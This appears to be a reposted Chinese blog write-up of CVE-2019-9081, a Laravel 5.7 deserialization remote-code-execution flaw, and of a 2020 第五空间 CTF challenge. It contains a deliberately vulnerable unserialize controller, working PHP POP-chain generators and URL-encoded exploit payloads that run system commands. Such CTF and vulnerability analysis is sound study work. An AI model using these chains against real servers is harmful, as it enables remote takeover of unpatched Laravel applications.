Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

栏目: IT技术 · 发布时间: 4年前

内容简介:前天第五空间的时候5am3问我还会搞Laravel不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记:ledger:。整合了其它笔记的内容,形成了这篇文章。PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。入口URL

前天第五空间的时候5am3问我还会搞 Laravel 不。半年没打CTF了,真的是淡忘了很多,再加上当时牙疼到看着代码发蒙,所以题目中的链就给错过了。比赛之后复习了一下笔记:ledger:。整合了其它笔记的内容,形成了这篇文章。

PS: 反序列化漏洞POP链是我当时最喜欢搞得,没想到这知识忘得真的快啊。

0x01 判断题目环境的版本

❯ php artisan
Laravel Framework 5.7.28

0x02 设置对应的入口点

入口URL

GET /index.php/index?p=

与入口点相关的文件:

  1. 路由文件 routes/web.php

    Route::get('/index', 'TaskController@index');
    
  2. 反序列化的入口点 app/Http/Controllers/TaskController.php

    <?php
    namespace App\Http\Controllers;
    class TaskController
    {
     public function index(){
    	 if(isset($_GET['p'])){
    		 unserialize($_GET['p']);
    	 }
     return "There is an param names p (get)";
     }
    }
    ?>
    

0x03 本地环境搭建

两种环境搭建方案

A.本地环境配置

操作系统:macOS

PHP版本:7.3.11

composer create-project laravel/laravel laravel57mac "5.7.*"
cd laravel57mac
php artisan serve --host=0.0.0.0 --port 8081

B.虚拟机环境配置

具体的环境配置过程参考: 官方链接

虚拟环境的操作:

# 虚拟机的启动
cd ~/Homestead && vagrant up
# ssh登录虚拟机
cd ~/Homestead && vagrant ssh
# ssh上去之后可以使用如下命令退出
exit
# 关闭 Homestead
vagrant halt
# 虚拟机删除
vagrant destroy --force
# 修改Homestead.yaml配置文件重新加载
cd ~/Homestead && vagrant up # 如果虚拟机是开启的则不需要执行这个命令
vagrant provision

xdebug远程调试

#开启xdebug
sudo phpenmod xdebug
#关闭xdebug
sudo phpdismod xdebug
#客户端调试脚本
xphp path/to/script
#xdebug的配置文件修改
/etc/php/7.#/fpm/conf.d/20-xdebug.ini

web服务器切换(ngnix和apache)

flip

0x04 CVE-2019-9081

影响版本:Laravel v5.7

漏洞核心: Illuminate/Foundation/Testing/PendingCommand 类中的 __destruct 方法中调用了 run 方法,而 run 方法是用来 Execute the command 的。因此需要找到对应的POP链来完成RCE。

首先看一下 PendingCommand 类中的几个重要属性:

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

其次看一下关键的 run 方法,这其中有两个位置的代码比较关键。一个是与代码执行直接相关的,另外一个是与到达代码执行位置相关的方法 mockConsoleOutput 。我们必须保证方法 mockConsoleOutput 可以正常执行完毕。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

所有接下来就看一下 mockConsoleOutput 方法。由于程序可以正常执行到166行的位置,所以对162行的代码就不需要进行进一步的分析。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

分析的关键在于166行的的属性遍历。要控制这个数组我们只需要找到一个 public function __get 魔术方法就好了。一搜一大把,这里我们选择 Faker/DefaultGenerator 类中的。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

到这里为止我们先写一个PoC来进行动态分析一下

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        public function __construct()
        {}
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $application = new Illuminate\Foundation\Application();
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

执行之后的结果

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A0%3A%7B%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

此时可以看到已经成功过了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php 中的第166行的代码

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

可以到达关键的136行代码处。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

但是再往下走的程序就会抛出异常,所以要对136处的代码进行详细的分析。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

这种链式调用不太好看变量中的内容,所以我在136行之前补充几行代码

$kclass = Kernel::class;
$app = $this->app[Kernel::class];

动态调试的过程中可以看到 Kernel::class 中的值是 Illuminate\Contracts\Console\Kernel 。而对应的 $app = $this->app[Kernel::class]; 代码在执行时会抛出异常,所以我们要跟进这个部分。继续跟进之后到达 vendor/laravel/framework/src/Illuminate/Container/Container.php 文件中。我在动态分析的时候发现 Illuminate\Container\Container 类中调用的是 Illuminate\Container\BoundMethodcall 静态方法。还有别忘了 Illuminate\Foundation\Application 类继承的是 Illuminate\Container\Container 类的call方法。所以我们要继续往下跟。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

继续跟进之后可以看到一个关键函数 call_user_func_array 。继续跟进 getMethodDependencies 函数。该函数返回的是 $dependencies 数组和 $parameters 的合并数据,其中 $dependencies 默认为空数组,而 $parameters 为可控数据。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

再加上此处 $callback 的值就是我们可控的值 system ,因此此处的实际形式为 call_user_func_array(可控数据,可控数据) ,可以构成任意代码执行。最终构造的POP链如下:

<?php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;
            $this->app = $app;
            $this->command = $command;
            $this->parameters = $parameters;
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation{
    class Application{
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace{
    $defaultgenerator = new Faker\DefaultGenerator(array("1" => "1"));
    $app = new Illuminate\Foundation\Application();
    $application = new Illuminate\Foundation\Application($app);
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));
    echo urlencode(serialize($pendingcommand));
}

?>

EXP

O%3A44%3A%22Illuminate%5CFoundation%5CTesting%5CPendingCommand%22%3A4%3A%7Bs%3A4%3A%22test%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Ba%3A1%3A%7Bi%3A1%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A6%3A%22%00%2A%00app%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3BO%3A33%3A%22Illuminate%5CFoundation%5CApplication%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00instances%22%3Ba%3A1%3A%7Bs%3A35%3A%22Illuminate%5CContracts%5CConsole%5CKernel%22%3Ba%3A0%3A%7B%7D%7D%7D%7D%7Ds%3A10%3A%22%00%2A%00command%22%3Bs%3A6%3A%22system%22%3Bs%3A13%3A%22%00%2A%00parameters%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A2%3A%22id%22%3B%7D%7D

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

0x05 CVE-2019-9081的参考链接

  1. Laravel5.7反序列化漏洞之RCE链挖掘
  2. 代码审计之CVE-2019-9081 Laravel5.7 反序列化 RCE复现分析
  3. laravelv5.7反序列化rce(CVE-2019-9081)

0x06 第五空间–laravel

Diff一下的发现其实题目中所做的修改仅仅是删除了 vendor/laravel/framework/src/Illuminate/Foundation/Testing/PendingCommand.php 文件中的 $this->run(); 这一行代码。没有这个调用点,那我们的思路就是在其中找一个 call_user_func 来执行 Illuminate/Foundation/Testing/PendingCommand 类中的 run 方法。

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

此处我们使用 vendor/fzaninotto/faker/src/Faker/ValidGenerator.php 文件中的 call_user_func 函数来完成对 run 的调用

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

这个思路其实并不是新的,PHPGGC当中就经常只用这个点,因为 ValidGenerator 类中的 __call 比较好利用,而其中又包含了 call_user_func_arraycall_user_func 。所以结合这个点很容易就构造出下面这个Exp。具体的不在多写,如果有不清楚的可以看后面的参考链接。

<?php
// Exp来自chamd5 wp
//gadgets.php
namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        protected $app;
        public $test;

        public function __construct($command, $parameters, $class, $app)
        {
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test = $class;
            $this->app = $app;
        }
    }
}

namespace Illuminate\Auth {
    class GenericUser
    {
        protected $attributes;
        public function __construct(array $attributes)
        {
            $this->attributes = $attributes;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $hasBeenBootstrapped = false;
        protected $bindings;

        public function __construct($bind)
        {
            $this->bindings = $bind;
        }
    }
}

namespace Symfony\Component\Routing\Loader\Configurator {
    class CollectionConfigurator
    {
        public $parent;
        public $collection;
        public $prefixes;

        public function __construct($parent)
        {
            $this->prefixes = 1;
            $this->parent = $parent;
            $this->collection = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
        }
    }
}

namespace Faker {
    class ValidGenerator
    {
        protected $generator;
        protected $validator;
        protected $maxRetries;

        public function __construct($validator)
        {
            $this->generator = new \Symfony\Component\Routing\RouteCollection(array("12end" => "12end"));
            $this->validator = $validator;
            $this->maxRetries = 10;
        }
    }
}

namespace Symfony\Component\Routing {
    class RouteCollection
    {

    }
}
<?php
//chain.php
include "gadgets.php";

$payload = new Illuminate\Foundation\Testing\PendingCommand(
    "system", array('whoami'),
    new Illuminate\Auth\GenericUser(array("expectedOutput" => array("0" => "1"), "expectedQuestions" => array("0" => "1"))),
    new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel" => array("concrete" => "Illuminate\Foundation\Application")))
);

$a = new Faker\ValidGenerator(array($payload, "run"));
echo urlencode(serialize(new Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator($a)));

Laravel 5.7反序列化漏洞(CVE-2019-9081+2020第五空间题解)

0x07 第五空间laravel题解参考

  1. 第五空间-WriteUp
  2. PHP反序列化入门之寻找POP链(一)
  3. Code-breaking Puzzles 2018 Note–lumenserial

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python核心编程(第3版)

Python核心编程(第3版)

[美] Wesley Chun / 孙波翔、李斌、李晗 / 人民邮电出版社 / 2016-5 / CNY 99.00

《Python核心编程(第3版)》是经典畅销图书《Python核心编程(第二版)》的全新升级版本,总共分为3部分。第1部分为讲解了Python的一些通用应用,包括正则表达式、网络编程、Internet客户端编程、多线程编程、GUI编程、数据库编程、Microsoft Office编程、扩展Python等内容。第2部分讲解了与Web开发相关的主题,包括Web客户端和服务器、CGI和WSGI相关的We......一起来看看 《Python核心编程(第3版)》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

html转js在线工具
html转js在线工具

html转js在线工具